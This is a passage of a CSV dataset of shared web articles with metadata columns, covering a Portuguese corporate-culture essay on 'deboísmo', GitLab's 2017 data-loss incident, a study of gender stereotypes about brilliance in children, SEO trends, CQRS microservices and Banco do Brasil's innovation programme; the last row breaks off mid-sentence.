1485949537,CONTENT SHARED,-879594538384021068,801895594717772308,8904143352876001053,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",MG,BR,HTML,https://www.linkedin.com/pulse/o-manual-do-debo%C3%ADsta-corporativo-fabio-betti,O manual do deboísta corporativo,"Fabio Betti Follow Following Unfollow Fabio Betti Sign in to follow this author Sócio-consultor da Corall No meio de uma conversa de Facebook, uma amiga referiu-se a mim como deboísta. Procurando disfarçar a ignorância, apenas curti o comentário e fui correndo me consultar com o Dr. Google. Para meu alívio, logo descobri não ser nenhuma doença grave. Pelo contrário, para enfrentar a onda de desesperança que nos abateu e continua nos abatendo com uma frequência e uma intensidade quase que insuportáveis, a salvação pode estar no deboísmo. O movimento não é novo. Consta que surgiu em agosto de 2014, quando uma tanatopraxista (praticamente um trava-lingua!) de nome Jéssica Loli, cansada de ver as colegas feministas se estapearem nas redes, criou, na brincadeira, uma corrente de feminismo que ela apelidou de deboísta. A ideia era fazer todo mundo parar de brigar entre si e conversar. Na página ""Feminismo Deboísta"", Jéssica começou a postar fotos do bicho-preguiça que logo virou o mascote do movimento, com frases do tipo: ""O nordeste é de boa, a xenofobia não é"" e ""pode beijar homem, pode beijar mulher. O importante é ser de boas"". Embora a página de Jessica tenha estacionado nas 40 mil curtidas, os memes com o bicho-preguiça e a cultura ""de boas"" logo espalharam-se pela internet, a ponto de servir de inspiração para uma campanha do Ministério do Trabalho intitulada ""filosofia de vida"". Porém, mesmo que bem intencionada, associar bicho-preguiça a trabalho não foi, digamos, a melhor ideia do mundo, e os internautas detonaram a iniciativa em mais memes criativos e debochados. Por outro lado, quando vemos a quantidade de gente doente nas organizações, que já não aguenta mais esse clima de treta permanente, com áreas ainda trabalhando em silos (tão anos 80!), colegas em clima de guerra, a ameaça permanente de degola e a inovação necessária à sobrevivência cada vez mais comprometida pelo medo, o movimento deboísta, ao pregar uma forma mais leve - o que não quer dizer menos comprometida - para lidar com nossos problemas, surge como uma possibilidade real de reconstrução de vínculos e recuperação da sanidade necessária para lidar com os desafios desse complexo e, às vezes, maluco mundo corporativo. O manifesto da página ""Deboísmo"" indica o caminho: ""Deboísmo é um estilo de vida. Ser de boa não significa ser inerte ao mundo, significa ser ponderado. Calma e paciência e o mundo se tornará um lugar melhor. Ser de boa não significa não debater, não significa se calar perante as injustiças. Significa não ofender as pessoas, argumentar de maneira lógica e sensata, sempre respeitando os direitos humanos. Ser de boa significa deixar uma discussão acabar mesmo sem convencer o inimigo, mesmo se ele partir para ofensas, pois em todo bom debate uma ideia é plantada e eventualmente o sujeito voltará a pensar sobre o assunto. Significa, em suma, ser de boas."" Inspirado no ""Feminismo Deboísta"" e com a missão de tornar as pessoas um pouco mais de boas, a página criada em maio de 2015 também alimenta um blog que só publica algo raríssimo atualmente na imprensa e nas redes sociais: noticias boas, claro. Do aplicativo que propõe árvores em vez de procrastinar nas redes sociais à história do Batman catarinense que visita crianças em hospitais ou as 5 maneiras de ficar de boas com o seu ex-namorado, o blog tem uma produção intensa, de olho em quem está querendo ficar ou que já está de boas. Inspirado nos Mandamentos Deboístas - sim, alguém criou 11 mandamentos, dá uma googleada -, resolvi apresentar aqui um protótipo* do que pode vir a ser o Manual do Deboísta Corporativo. 1. Abra sua cabeça 2. Foque nas ideias Uma opinião diferente da sua não precisa necessariamente ser vivida como contrária. Experimente encará-la como complementar e veja o que acontece. 3. Foque na solução 1 Não critique as pessoas, critique as ideias. E seja explícito ao fazer isso. Ninguém é obrigado a adivinhar suas reais intenções. 4. Foque na solução 2 Não perca tempo procurando argumentos para justificar por que as coisas não estão funcionando. Em sistemas vivos, descobrir por que algo não está funcionando não vai, necessariamente, fazer que volte a funcionar. Pior, só vai lhe criar uma boa desculpa para não resolver o problema. 5. Conecte-se com as forças Quanto mais tempo você se concentrar no erro, mais você se afastará da solução. Em uma cultura que ainda tem dificuldade em encarar erros como etapas naturais de um processo de aprendizagem, pensar, falar, enfim, viver o erro só lhe fará sentir-se culpado. 6. Ressignifique a crise Deu ruim, a tendência é ir direto para os gaps . E lá vamos nós de novo descendo a ladeira do ""ó vida, ó céus"". Deu ruim? Pergunte-se pelos talentos, pelas fortalezas, pelas competências já instaladas. Para superar um desafio, o que é melhor: sentir-se frágil e incompetente ou fortalecido e poderoso? A regra vale - e muito - para uma conversa sobre desempenho. Se você quer alguém da sua equipe performando melhor, ajude-o a contectar-se com o que ela ou ele tem de melhor. 7. Olhe além da crise A história da evolução das espécies é marcada por crises. Algumas espécies sucumbem, enquanto outras, as mais flexíveis e que mais rapidamente se adaptam às mudanças do ambiente em que vivem, evoluem. Em resumo: sem crise, sem energia para mudar. Olhe, portanto, para a crise como a oportunidade que o sistema do qual você faz parte precisa para evoluir. 8. Use sua inteligência: escute! Uma crise é apenas uma dentre tantas descrições possíveis da realidade. O nome técnico dado à fixação por uma única descrição é trauma. Pergunte sobre o que mais além da crise está acontecendo e evite a prisão traumática e paralisante da história única. Não confundir com Síndrome de Pollyanna, que também é uma espécie de trauma, uma vez que só consegue perceber o que está bem. Como naquela música do Barão Vermelho, ""que você descubra que rir é bom, mas que rir de tudo é desespero."" 9. Aprenda a relaxar Se você não é nem onisciente nem onipresente, escutar com atenção e curiosidade genuína o que o outro está vendo não é apenas um gesto de educação, é uma demonstração de inteligência. Quando você está muito tenso, submetido à pressão extrema, seu sistema nervoso interpreta que sua vida está sob ameaça. O sangue migra para as extremidades, para os músculos e seu cérebro fica oxigenado apenas para garantir que você continue respirando. Pensar? Nem pensar! Se a leitura é que sua vida corre perigo, as decisões ficam a cargo do sistema reptiliano, que basicamente suprime sua capacidade de raciocínio e lhe dá apenas 3 opções de ação: lutar, fugir ou se fingir de morto (congelar). A boa notícia é que você pode ajudar seu organismo a operar sem esforço novamente e você não precisa ser nenhum guru para aprender a relaxar. Fique apenas atento aos sinais: coração disparou? Frio na barriga? Respire 3 vezes va-ga-ro-sa-e-pro-fun-da-men-te. Ou tome um copo d'água. Ou coloque uma música tranquila para ouvir. Ou vá dar uma volta no quarteirão. Simplesmente pare esse ciclo vicioso que faz seu organismo trabalhar sob stress intenso e, a longo prazo, vai lhe adoecer, pode crer. Deboístas X Tretaístas: quem vencerá essa batalha? * Se quiser me ajudar no desafio de construir o Manual do Deboísta Corporativo, envie sua contribuição para fabio@corall.net É óbvio que nem tudo são flores no mundo deboísta. Criticado como movimento elitista, os desafetos responderam com o Tretaísmo: ""Não somos contra o deboismo, apenas vamos dar colo pra quem não é privilegiado ou tem condições de ser adepto a ele."" Gente humilde não pode ficar de boas? Sei não... Bem, guerra ou não, o fato é que na batalha por adeptos, os deboístas estão ganhando de lavada: a página acumula mais de 1 milhão e 100 mil curtidas contra reles 30 mil dos colegas da treta. Sócio-consultor da Corall",pt
1485955901,CONTENT SHARED,-5610593914683957297,490109768671667408,-8431485442536544200,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://www.theregister.co.uk/2017/02/01/gitlab_data_loss/,GitLab.com melts down after backup fail and data loss,"Company said it had outgrown the cloud, now five out of five backup tools have failed Code hub Gitlab.com is in meltdown after experiencing data loss as a result of what it has suddenly discovered are ineffectual backups. On Tuesday evening, Pacific Time, the site issued this sobering series of Tweets. We are performing emergency database maintenance, will be taken offline - GitLab.com Status (@gitlabstatus) January 31, 2017 we are experiencing issues with our production database and are working to recover - GitLab.com Status (@gitlabstatus) February 1, 2017 We accidentally deleted production data and might have to restore from backup. Google Doc with live notes - GitLab.com Status (@gitlabstatus) February 1, 2017 That Google Doc mentioned in the last Tweet says ""This incident affected the database (including issues and merge requests) but not the git repo's (repositories and wikis)."" So some solace there for users because not all is lost. But the document concludes with the following: So in other words, out of 5 backup/replication techniques deployed none are working reliably or set up in the first place. The world doesn't contain enough faces and palms to even begin to offer a reaction to that sentence. Or, perhaps, to summarise the mistakes the service details as follows: LVM snapshots are by default only taken once every 24 hours. YP happened to run one manually about 6 hours prior to the outage Regular backups seem to also only be taken once per 24 hours, though YP has not yet been able to figure out where they are stored. According to JN these don't appear to be working, producing files only a few bytes in size. SH: It looks like pg_dump may be failing because PostgreSQL 9.2 binaries are being run instead of 9.6 binaries. This happens because omnibus only uses Pg 9.6 if data/PG_VERSION is set to 9.6, but on workers this file does not exist. As a result it defaults to 9.2, failing silently. No SQL dumps were made as a result. Fog gem may have cleaned out older backups. Disk snapshots in Azure are enabled for the NFS server, but not for the DB servers. The synchronisation process removes webhooks once it has synchronised data to staging. Unless we can pull these from a regular backup from the past 24 hours they will be lost The replication procedure is super fragile, prone to error, relies on a handful of random shell scripts, and is badly documented Our backups to S3 apparently don't work either: the bucket is empty Making matters worse is the fact that GitLab last year decreed it had outgrown the cloud and would build and operate its own Ceph clusters . GitLab's infrastructure lead Pablo Carranza said the decision to roll its own infrastructure ""will make GitLab more efficient, consistent, and reliable as we will have more ownership of the entire infrastructure."" At the time of writing, GitLab says it has no estimated restore time but is working to restore from a staging server that may be ""without webhooks"" but is ""the only available snapshot."" That source is six hours old, so there will be some data loss. Last year GitLab scored US$20m of venture funding . Those investors might just be even more angry that users right now. The Reg will update this story as more information comes to hand. ®",en
1485989315,CONTENT SHARED,6463551093741815202,6960073744377754728,7604699722673600778,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",GA,US,HTML,http://www.nbcnews.com/health/health-news/little-girls-doubt-women-can-be-brilliant-study-shows-n713001,"Little girls doubt that women can be brilliant, study shows","WASHINGTON - Can women be brilliant? Little girls are not so sure. A study published Thursday in the journal Science suggests that girls as young as 6 can be led to believe men are inherently smarter and more talented than women, making girls less motivated to pursue novel activities or ambitious careers. That such stereotypes exist is hardly a surprise, but the findings show these biases can affect children at a very young age. ""As a society, we associate a high level of intellectual ability with males more than females, and our research suggests that this association is picked up by children as young 6 and 7,"" said Andrei Cimpian, associate professor in the psychology department at New York University. Cimpian coauthored the study, which looked at 400 children ages 5-7. In the first part of the study, girls and boys were told a story about a person who is ""really, really smart,"" a child's idea of brilliance, and then asked to identify that person among the photos of two women and two men. The people in the photos were dressed professionally, looked the same age and appeared equally happy. At 5, both boys and girls tended to associate brilliance with their own gender, meaning that most girls chose women and most boys chose men. But as they became older and began attending school, children apparently began endorsing gender stereotypes. At 6 and 7, girls were ""significantly less likely"" to pick women. The results were similar when the kids were shown photos of children. Interestingly, when asked to select children who look like they do well in school, as opposed to being smart, girls tended to pick girls, which means that their perceptions of brilliance are not based on academic performance. ""These stereotypes float free of any objective markers of achievement and intelligence,"" Cimpian said. Related: LEGO Builds Up STEM with Female Scientists In the second part of the study, children were introduced to two new board games, one described as an activity ""for children who are really, really smart"" and the other one ""for children who try really, really hard."" Five-year-old girls and boys were equally likely to want to play the game for smart kids, but at age 6 and 7, boys still wanted to play that game, while girls opted for the other activity. ""There isn't anything about the game itself that becomes less interesting for girls, but rather it's the description of it as being for kids that are really, really smart."" As a result, believing that they are not as gifted as boys, girls tend to shy away from demanding majors and fields, leading to big differences in aspirations and career choices between men and women. ""These stereotypes discourage women's pursuit of many prestigious careers; that is, women are underrepresented in fields whose members cherish brilliance,"" the authors wrote. Related: Girls Make the Grade at the White House Science Fair It is still unclear where the stereotypes come from. Parents, teachers and peers and the media are the usual suspects, Cimpian said. But it is evident that action must be taken so that these biases don't curtail girls' professional aspirations. ""Instill the idea that success in any line of work is not an innate ability, whatever it is, but rather putting your head down, being passionate about what you are doing,"" Cimpian said, adding that exposure to successful women who can serve as role models also helps. Toy companies like Mattel, maker of the Barbie doll, have taken steps to try to reduce gender stereotypes. Mattel's ""You can be anything"" Barbie campaign tells girls that they can be paleontologists, veterinarians or professors, among other careers. The campaign also holds out the possibility that a girl can imagine herself to be a fairy princess. Related: #InspireHerMind: Viral Ad Hopes to Draw Girls to STEM Jobs Rebecca S. Bigler, professor of psychology at the University of Texas at Austin, described Cimpian's study ""as exceptionally nice work."" She suggested that the stereotypes develop in early elementary school when students are exposed to famous scientists, composers and writers, the ""geniuses"" of history, who are overwhelmingly men. Bigler said it is important to combine that knowledge with information on gender discrimination. ""We need to explain to children that laws were created specifically to prevent women from becoming great scientists, artists, composers, writers, explorers, and leaders,"" Bigler added. ""Children will then be ... more likely to believe in their own intellectual potential and contribute to social justice and equally by pursuing these careers themselves.""",en
1486034520,CONTENT SHARED,-8717945432162716060,361614354650880527,688811580614557176,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MG,BR,HTML,http://www.digitalcurrent.com/seo-engine-optimization/2017-vital-seo-trends/,7 Vital SEO Trends for Google Rankings in 2017 | Digital Current,"Use these seven SEO trends to improve your Google search rankings in 2017. Let's face it: Developing an SEO strategy today isn't easy. With an ever-evolving search interface, real-time Penguin algorithm updates, and also Panda now introduced as part of its core algorithm - Google changes fast. The artificial intelligence system RankBrain is also shaking things up. Businesses not up-to-date with SEO can virtually lose their Google rankings overnight if they fail to stay on top of new SEO trends. That's a lot of money down the drain as you lose visibility, and a great deal of untapped potential if you are not yet ranking in the first place. I'm going to reveal the top seven SEO trends you need to know in 2017 to ensure you achieve and maintain elevated Google rankings. Note: Backlinks are still 1 of the top 2 Google ranking factors. That's widely covered elsewhere so I haven't included it as a new trend here. Modern link building should always be a priority! In this article you will notice a constant over-arching theme: The key to pleasing Google is to create thought-leading, conversational content littered with semantic and related keywords. Exceptional user experience must be first in mind. Let's break that down into the most important, specific trends: RankBrain is Google's name for its innovative, machine-learning artificial intelligence algorithm that's used to help process search results. It's been officially named Google's third-most important ranking factor. This algorithm uses machine learning - a computer's ability to teach itself and improve without human input. Yes, AI as we know it...and albeit a little scary, but it's also endlessly fascinating. One of RankBrain's primary purposes is to sift through what it deems to be relevant search results when a user enters a never-before-seen or otherwise unusual query (and learn from the user's consequent actions) - something Google has found difficult to interpret in the past. Not only that, expect it to be constantly learning how to best serve visitors with the most relevant, authoritative, and trustworthy results available - minus the public updates of algorithm changes we've received in the past. That means Google is becoming increasingly difficult to game these days. Simply put: You are better off focusing on publishing truly remarkable content that aligns with your target audience (while ensuring your website is similarly outstanding to navigate) and distributing this content heavily, rather than attempting to use, for example, isolated black hat tactics. This all places great value on superior content - which is why you need to be producing material of such caliber in 2017. Yes, this has been the case for a few years now and we've all had it drilled into us, but RankBrain really hits it home and the ""golden age"" of SEO dark arts on Google is truly dead. Search Engine Optimization on Google is evolving faster than ever before and you must shift your strategy to accommodate progressively smart machine intelligence that seeks integrity. Remember to: Research content topics thoroughly and cater for users' pain points. Apply semantic keyword strategies. Produce thought-leading content. Distribute your content heavily across all mediums. Ensure your website is easy to navigate. According to studies, up to 60 percent of Google searches now come via mobile . You no longer can afford to ignore mobile users. Accelerated Mobile Pages are quick to load and demand a set of technical criteria websites need to follow to provide for this increase in speed. As of the publishing date, AMP is not yet a ranking factor...but it makes sense to implement, for numerous reasons. Google has already revealed that mobile speed and usability are primary indexing metrics and this will only become increasingly prevalent as more people use mobile devices for search. Not only that; research shows slow sites correspond with lower engagement (up to 40 percent of visitors will leave if a site doesn't load after three seconds). Yet, only 23 percent of SEOs report implementing AMP! Developing AMP is a huge opportunity to jump ahead of your competition. Seriously - take advantage and become an early adopter. We've sure come a long way since 10 blue links on page 1 of Google. The Knowledge Graph and Rich Snippets have filled the SERPs with attractive content that includes imagery, review stars, bullet points and accordion-style elements (to name a few) that can be clicked and expanded right there on Google itself. This type of result can be achieved by implementing Structured Data markup on your website . Structured Data is often collectively referred to as Schema or Microdata, although Rich Snippets and Schema actually have different meanings . Despite what could be deemed as unnecessary to click due to the already-visible details, if you were going to click-through...what would you select? The below result or a standard blue link? I know what I'd choose. The number of search results showing rich snippets has already doubled in the last two years, and it doesn't look to be slowing down any time soon. There have been many studies indicating a solid increase in CTR after implementing Schema for Rich Snippets. Not only that, when you apply Structured Data you are helping Google understand the deeper meaning and context of your content so it can better accommodate relevant search queries. Here is a brilliant guide on Schema implementation you can pass to your team of developers. Mark up your site as much as possible and keep your eye on developments, including new definitions. You can technically describe a lot of varied attributes to Google - no matter what your sector. Rich Snippets are here to stay. As voice recognition software like Siri, Cortana, Google Voice, and Amazon Echo becomes more sophisticated, more of us will begin to use voice search to find information. In fact, the speech recognition error rate has decreased from 25 percent to 8 percent and the use of voice search has increased sevenfold since 2010 . Needless to say: Voice search is on the rise, particularly among millennials . Paired with RankBrain, the most fascinating side to this trend is that Google will begin to display results based more on user intent rather than the face-value of words that are entered into the search bar. That means keyword optimization will become more conversational in 2017. How can you capitalize on this trend? Prioritize long-tail keywords (as people are more likely to speak a lengthy search question than type one). Use Structured Data to provide additional context. Create FAQs that answer who, what, when, where, and why questions. Apply video as part of your SEO strategy . Research conversational queries using Google's related searches and the suggestions in its autosuggest feature. Listen on social media and actually take the time to interact with your customers to learn what they are actively searching for. Trust is essential online. People like to feel secure when visiting a new site and many visual indications encourage that feeling. One good visual indication a site is generally considered safe to visit is the green padlock in the URL bar. Google recognizes this and gives priority to websites that apply an SSL or the newer TLS encryption (aka HTTPS sites). And that's not all. As of January 2017, the world's most popular web browser (Google Chrome) will begin labeling non-HTTPs sites that transmit passwords and/or ask for credit card details as ""Not Secure."" The signs from Google are all there and shouldn't be ignored. As the constant focus on trust intensifies, HTTPS is expected to become ever-more important moving forward. Remember: Thoroughly plan your site-wide redirect from HTTP to HTTPS - it can be a very complex process with many pitfalls. Apply Google's UTM tracking for marketing campaigns and consequently accurate incoming referral data. Maintain outgoing referral data using the meta referrer tag in the HTML of your site. Recently, ""epic"" and insanely long blog posts have become the go-to for achieving more organic real-estate. It was found that the majority of articles in the top 10 results of Google were 2,000 words or longer. But while there long-form content continues to perform well, there are a couple of caveats: People want more value per word and Google's new mobile index naturally prefers fast-loading pages. Our attention spans are becoming shorter and Google is shifting to accommodate. We're tired of reading 2,000 words of fluff. In an informational age, we want our articles to be well organized and get to the point. Yet, there is still room for long-form content - if it's remarkable. We'll begin to see shorter-form content with much more ""density""; meaning more information in fewer words. To take advantage of this trend, be ruthless in editing and cut the fat from your articles. Always consider Google's tendency to rank speedy pages ; don't be afraid to trim a 3,000-word post to 2,000 or less and remove images or fancy elements - as long as it makes sense to do so. Last but not least, let's talk about the absolutely essential practice of personal branding. Personal branding is highlighting a real person as a (or the ) face of your company. If you want to beat Google's algorithms - personal branding is exactly how to do it. How many people in your industry have your name? And if you make it big, who will appear in Google search? It will be you. Each and every time. Not only that: People want to do business with people, not corporations! I cannot stress this enough. It all loops back to trust. Personal branding is so immensely powerful and instrumental in securing guest posts, brand mentions, links, webinars, podcasts, partnerships, and, of course, customers. I can 100 percent confirm it from experience. Additionally, social media platforms like Facebook continually refine their algorithms to favor profile posts over page posts, meaning less visibility for social updates that derive from brand accounts. The solution? Elect your CEO (or multiple employees willing to become long-standing faces of your corporation) to begin continually pushing themselves hard through blog posts, social media, and elsewhere. These people must build many industry relationships and dedicate their time to creating a strong presence where they are seen to be a thought-leader. Once they become ever-more known and sought-after - so does your brand. It's a no-brainer - personal branding should be one of your top SEO strategies for 2017. For a long time, brands have ignored Bing (and other search engines) because Google held the vast majority of search traffic. Well, times are changing - Bing now accounts for 21 percent of all search engine traffic and interestingly, 25 percent of all Bing's search traffic is voice-driven. Even Yahoo! is rising up the ranks with a 12 percent share of search traffic. This is quite simply, exciting news for all. Google's tight grip on the search industry has meant failure for many businesses that couldn't keep up in the past. Bing is much more straight-forward to optimize for. It leans toward analysis of traditional metrics, including: Inbound anchor text Click-through-rate (CTR) Visitor engagement Keywords in domains Content and keyword density Site structure and code Additionally, Bing cares more about social media sharing for rankings than Google does - so start getting those social shares in conjunction with your personal brand! Still need another reason to focus on Bing? Experts have found that a well-optimized website has a higher conversion rate when visited through Bing or Yahoo! than on Google. Get started today by creating a Bing Webmaster Tools account which also accommodates Yahoo! data. You can't afford to neglect a combined 33 percent search volume share, after all. Whether you're a search engine optimization expert or in charge of overall digital strategy, knowing the top SEO trends for 2017 is critical for the improvement and maintenance of your brand's Google rankings now and in future. As mentioned at the beginning, it all boils down to creating remarkable content that contains semantic and related keywords (in an informal, conversational tone). Your website must also provide an equally exceptional user-experience. Note: Be done with any intrusive pop-ups. They will negatively impact your Google rankings as of January 2017. Really listen to your audience to discover their pain points and any questions they may have. Then, focus on providing helpful answers with your content. In the end, as always, what matters most is providing value to your visitors. Value generates attention, trust, social shares, backlinks, and ultimately top Google rankings. Remember: Backlinks, content, and RankBrain are Google's top three ranking signals, likely in that order. Vastly distribute your content, utilizing personal brands. Ensure your website is technically sound in terms of Structured Data, AMP, and SSL / TLS. Don't put all your eggs in one basket - optimize for Bing and Yahoo! Too.",en
1486118047,CONTENT SHARED,1984587708208773,-7606731662737258050,-8411451603021851508,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://g1.globo.com/pop-arte/cinema/noticia/heroinas-de-estrelas-alem-do-tempo-inspiram-garotas-em-trabalho-de-escola-nos-eua.ghtml,Heroínas de 'Estrelas além do tempo' inspiram garotas em trabalho de escola nos EUA,"Foto de meninas vestidas como trabalhadoras da Nasa retratadas no filme viralizou nas redes sociais. Uma foto de três crianças vestidas como as protagonistas do filme ""Estrelas além do tempo"" viralizou em redes sociais e foi compartilhada pelas três atrizes do longa, Taraji P. Henson, Janelle Monae e Octavia Spencer. A imagem foi criada para um trabalho de escola de Ambrielle-Baker Rogers, Morgan Coleman e Miah Bell-Olson em um colégio em Milwaukee, nos EUA. Elas tinham que criar um projeto para o Mês da História Afroamericana. As meninas, então, resolveram imitar as três mulheres (Katherine Johnson, Dorothy Vaughan and Mary Jackson) que foram pioneiras entre trabalhadoras negras na NASA, e foram retratadas no filme. ""A professora pediu para criar pôsteres que afirmassem positivamente a excelência dos estudantes e jogasse os holofotes na beleza da cultura afroamericana"", explixou a mãe de Jessica ao site ""Huffington Post"".",pt
1486118848,CONTENT SHARED,3382795524953511662,7645894863578715801,-4063900852249851173,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0,SP,BR,HTML,http://www.kennybastani.com/2017/01/building-event-driven-microservices.html,Building Event-driven Microservices Using CQRS and Serverless,"One of the most popular practices in event-driven architectures today is called CQRS, which is short for Command Query Responsibility Segregation . CQRS is a style of architecture that allows you to use different models to update and read domain data. The basic idea of CQRS is that it's perfectly natural to need to separate the models you're using to update and read data. The diagram above shows this basic idea. CQRS is popular for event-driven architectures because domain events - as inputs - are structurally different than the domain model they are subject to. Take for example the following domain model object representing an account. Example 1. Account aggregate When a service wants to query for an account, this is the model it will expect. Now, what if we wanted to update the status to ACCOUNT_SUSPENDED ? Normally this would be a simple update to the domain object for the status field. Now, what if we wanted to use a domain event to update the status instead? Since a domain object is structurally different from an event, we will need an API that accepts a different model as a command. The following snippet is a domain event that transitions the state of the account from ACCOUNT_ACTIVE to ACCOUNT_SUSPENDED . To process this domain event and apply the update to the query model, we must have an API to accept the command. The command will contain the model of the domain event and use it to process the update to the account's query model. This is the simplest explanation of CQRS - to separate the command model from the query model. The complexity we often see today is more to do with the flavor of implementation. This is especially true when applying the pattern to microservices. CQRS and Microservices When CQRS combines with microservices, things get a bit complex - to say the least. Let's take a look at what a ""simple"" microservice resembles that implements CQRS using Spring Boot . The diagram above is a rough sketch of an implementation of the CQRS pattern. Here we've split up a single microservice into a command-side , query-side , and event processor -all of which can be deployed independently of one another. Command-side The command-side in this example exposes a REST API that accepts requests over HTTP. Requests take the form of commands that drive state changes to domain data owned by the microservice. To put it simply, any writes on domain data will flow from an API request as a command - which handles an action that results in changes to the database. Commands trigger actions and actions trigger domain events. The domain events persist to an event store -a fancy way to say "" a system that combines a database together with a message broker ."" An excellent event store to get started with is called Eventuate , which was founded by Chris Richardson as a project to help apply CQRS and Event Sourcing to microservices. Domain events store as a series of time-ordered events appended to a log. Since every command generates an event, we're able to rebuild the total state of the current system from a history of collected events. I cover this topic in more detail in a previous blog post on event sourcing in microservices . Event Processor The next component we'll examine is the Event Processor . This CQRS component takes the form of a worker application that is responsible for ingesting domain events. The event processor is stateless and listens for messages from the event store , applying an action for incoming event messages. The event processor can respond to a new domain event in many useful ways. One domain event can spawn more events that can be sent to other microservices. This is why most developers of microservices are attracted to CQRS-as a way to publish and subscribe to domain events originating from applications outside of a bounded context. This approach provides us with a mechanism to ensure referential integrity of domain data. Messages from other microservices can be used to handle domain events that allow maintenance of pesky foreign key relationships relating domain data from other records in the distributed system. Query-side The event processor is first and foremost responsible for applying a domain event that changes the state of a domain aggregate . Each domain event can be used to update a database record that results in an incremental materialized view for describing an aggregate. In turn, the query-side will expose a REST API that allows HTTP clients to read the resulting materialized views that were generated from the processed events. The constraint in the query-side component is that domain data is read-only . All state changes in this system will flow in from the command-side and result in materialized views that can be read on the query-side. Distributed Monolith or Microservice? Now if you're like me, you might be thinking ""Hold up! That's no moon...​ it's a space station."" When most people think of a single microservice today, they think of an independent service component. In most cases, a microservice is built as an application that focuses on doing one thing well. Most importantly, the service can be upgraded and deployed independently of other services. Now when it comes to the conventional CQRS implementation, because of the separate components, there seems to be a slight concern for calling it a microservice. So it's worth asking: is this CQRS application considered a microservice? Or rather, could it be what some developers have started to refer to as a distributed monolith ? The answer is tricky, and it depends on who you're asking. I find that a microservice is all about empowering small independent teams to continuously deliver features as a part of a larger ecosystem of other microservices. CQRS deployments are complex when compared to most microservice deployments. For a microservices team, the goal is to be able to continuously deliver features into production. Since the separated components of CQRS can still be independently deployed, then we can say that each unit of deployment still satisfies the minimum requirements for independently delivering features into production. One feature of a microservice should always require-at most-one deployable unit. A distributed monolith happens when a feature is delivered that requires a coordinated deployment of multiple separate components at the same time.",en
1486124503,CONTENT SHARED,4909630283317268181,3609194402293569455,-5689939798252289851,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://startupi.com.br/2017/02/como-o-banco-do-brasil-esta-inovando-e-incentivando-o-intraempreendedorismo/,Como o Banco do Brasil está inovando e incentivando o intraempreendedorismo,"Acontece esse semana em São Paulo, a décima edição da Campus Party Brasil, uma das maiores experiências tecnológicas do mundo. Ontem fomos até o evento conferir algumas novidades e aproveitamos para conhecer as iniciativas do Banco do Brasil voltadas para o empreendedorismo e intraempreendedorismo. Para começar, o Banco do Brasil conta com 65 milhões de clientes, 4.598 agências, 100 mil funcionários e US$432 bilhões ativos. E sim, está muito interessada em inovar e se aproximar cada vez mais dos empreendedores. Joaquim Venancio, Líder de Produto Digital do Banco do Brasil e Alexandre Lima, Head de Corporate Venture do Banco do Brasil, afirmam que o banco está passando por uma transformação digital e por isso foi preciso reformular toda a empresa. Para ter mais agilidade nesse mercado digital, o banco mexeu no seu sistema e adotou o A/B testing, computação Cognitiva, estão montando um time de Data Science e estão trabalhando para abrir suas APIs para os desenvolvedores. Exemplos de que inovar está na proposta do banco foi o lançamento do serviço de pagamento por NFC, do qual o Banco do Brasil foi o pioneiro. Outros exemplos de serviços inovadores são o saque sem cartão, o leitor de código de barras e o mais recente, a emissão de senhas pelo celular para atendimento presencial nas agências. O diretor de clientes pessoas físicas do BB, Simão Luiz Kovalski, entende que a inovação garante maior comodidade para os clientes.""Esta entrega faz parte do Programa de Transformação Digital do BB e permite ao cliente otimizar seu tempo e lhe dá a opção de ir às nossas agências próximo ao horário de atendimento. Vamos melhorar a experiência dele, oferecendo um atendimento mais ágil e com menor tempo de espera em filas. Em breve o aplicativo também realizará a triagem prévia, oferecendo ao cliente todas as opções para resolução de sua demandas no próprio app, sem precisar se deslocar até uma agência."" Outra inovação do banco foi a simplificação da abertura de contas, hoje é possível abrir uma conta em 2 minutos pelo smartphone. Na tela inicial do aplicativo, o cliente seleciona""Quero abrir uma conta"" e, com alguns cliques, terá a conta aberta rapidamente. Basta preencher os dados pessoais, cadastrar a senha, escolher a agência de relacionamento e a conta já estará apta para movimentação. ""Esta é mais uma iniciativa do Banco do Brasil para proporcionar uma experiência digital positiva. Trata-se de uma solução inédita que cria instantaneamente uma conta pelo celular, de forma desburocratizada e extremamente simples"", afirma Raul Moreira, vice-presidente de Negócios de Varejo. Intraempreendedorismo Desde junho de 2016 o Banco tem um laboratório de inovação destinado aos seus funcionários no Vale do Silício. O LABB, fica dentro da Plug And Play, uma das aceleradoras mais conhecidas do mundo, dividindo espaço com diversas startups, de diferentes países, proporcionando a oportunidade de viver uma espécie de imersão cultural. ""Tínhamos que entender o que existe de mágico no Vale do Silício e porque lá as coisas são mais rápidas e as soluções fazem tanto sucesso. Depois de um tempo por lá, percebemos que existe muita colaboração, as empresas e startups compartilham muito mais informações e não existe tanta proteção sigilosa como estamos acostumados aqui no Brasil e isso faz com que as coisas aconteçam mais rápido e naturalmente"", comenta Joaquim. Alexandre completa dizendo que uma das metas com essa nova iniciativa é trazer para o banco um modelo que se encaixe na sua estrutura, mas que tenha a agilidade e a eficiência de uma startup ou empresas do Vale do Silício. Dessa forma, turmas compostas por até cinco funcionários do BB, de áreas diversas, viajam para o Vale e ficam até três meses no LABB desenvolvendo projetos como se fossem uma startup. A única exigência é que eles voltem para o Brasil com um MVP. Ao retornar ao Brasil, o produto passa por uma espécie de aceleração, fazendo ajustes na operação, parte técnica e ao final, os representantes precisam apresentar um pitch para uma banca avaliadora formada por diretores e vice-presidentes do Banco para ver se o projeto terá continuidade ou não. Após o sucesso do LABB no Vale do Silício, e com toda a experiência adquirida lá fora, 